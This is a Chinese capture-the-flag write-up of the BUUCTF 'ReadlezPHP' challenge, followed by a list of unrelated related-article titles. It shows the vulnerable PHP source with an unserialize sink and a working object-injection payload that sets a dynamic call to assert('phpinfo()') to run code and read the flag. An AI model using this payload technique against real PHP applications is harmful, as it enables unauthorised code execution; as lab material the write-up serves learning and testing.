当前位置: 首页 > news >正文

BUUCTF——ReadlezPHP

BUUCTF——ReadlezPHP

进入靶场

在这里插入图片描述

看了看框架和源码信息

没有什么可以利用的地方

爆破一下目录看看

在这里插入图片描述

结果只出来个index.php

看了一下Findsomthing

报了个路径

/time.php?source

在这里插入图片描述

拼接访问一下

在这里插入图片描述

出了个php代码

<?php
#error_reporting(0);
class HelloPhp
{public $a;public $b;public function __construct(){$this->a = "Y-m-d h:i:s";$this->b = "date";}public function __destruct(){$a = $this->a;$b = $this->b;echo $b($a);}
}
$c = new HelloPhp;if(isset($_GET['source']))
{highlight_file(__FILE__);die(0);
}@$ppp = unserialize($_GET["data"]);

代码结构分析

  1. 类定义 - HelloPhp 类:
    • 属性:
      • public $a
      • public $b
    • 构造函数 __construct():
      • 初始化 $this->a = "Y-m-d h:i:s" (日期格式字符串)
      • 初始化 $this->b = "date" (PHP日期函数名)
    • 析构函数 __destruct():
      • $this->a 赋值给 $a
      • $this->b 赋值给 $b
      • 执行 $b($a) 并输出结果 (动态函数调用)
  2. 实例化:
    • $c = new HelloPhp 创建了一个默认的 HelloPhp 对象
  3. 源代码查看功能:
    • 如果 GET 参数 source 存在,则显示当前文件源代码并退出
  4. 反序列化入口:
    • @$ppp = unserialize($_GET["data"]) 从 GET 参数 data 反序列化数据

构造反序列化payload

<?php
class HelloPhp
{public $a='phpinfo()';public $b='assert';}
$c = new HelloPhp;
echo(serialize($c));

在这里插入图片描述

拿到反序列化代码

构造payload

?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

在这里插入图片描述

进入phpinfo 翻翻配置信息

翻到好东西了

在这里插入图片描述

flag{6fcec1e0-69df-46c7-a734-22b02c305449}

直接下播!!!

在这里插入图片描述

http://www.dtcms.com/a/197629.html

相关文章:

  • Android 手写签名功能详解:从原理到实践
  • 第五部分:阶段项目 4:构建 RESTful API 服务器
  • 关于机器学习的实际案例
  • 【Java ee初阶】jvm(2)
  • 股票数据源对接技术指南:印度尼西亚、印度、韩国
  • ubuntu22.04搭建ROS2环境
  • C++_数据结构_哈希表(hash)实现
  • 阶段四 项目1-苍穹外卖 第一章 Git
  • 论文学习:《引入TEC - LncMir,通过对RNA序列的深度学习来预测lncRNA - miRNA的相互作用》
  • Java面试深度解析:微服务与云原生技术应用场景详解
  • 菜鸟之路Day32一一多表查询,事物,索引
  • Ubuntu 20.04 报错记录: Matplotlib 无法使用 OpenCV 的 libqxcb.so
  • 76.有符号数累加运算
  • 从坏道扫描到错误修复:HD Tune实战指南
  • 小白到高手的人工智能学习笔记之初步了解pytorch
  • Ubuntu24.04下安装ISPConfig全过程记录
  • AM32电调学习解读八:无感驱动相位波形解析
  • 架构思维:构建高并发扣减服务_分布式无主架构
  • SQL性能分析
  • 第二章 苍穹外卖
  • Mamba LLM 架构简介:机器学习的新范式
  • 互联网大厂Java面试场景:从Spring Boot到分布式缓存技术的探讨
  • QT聊天项目DAY11
  • 如何实现RTSP和RTMP低至100-200ms的延迟:直播SDK的技术突破
  • 数据结构 -- 树形查找(二)平衡二叉树
  • 【GPT入门】第39课 OPENAI官方API调用方法
  • 【数据结构】2-2-2 顺序表的插入删除查找
  • 【Linux高级全栈开发】2.1.3 http服务器的实现
  • ngx_http_proxy_protocol_vendor_module 模块
  • FreeSWITCH 简单图形化界面43 - 使用百度的unimrcp搞个智能话务台,用的在线的ASR和TTS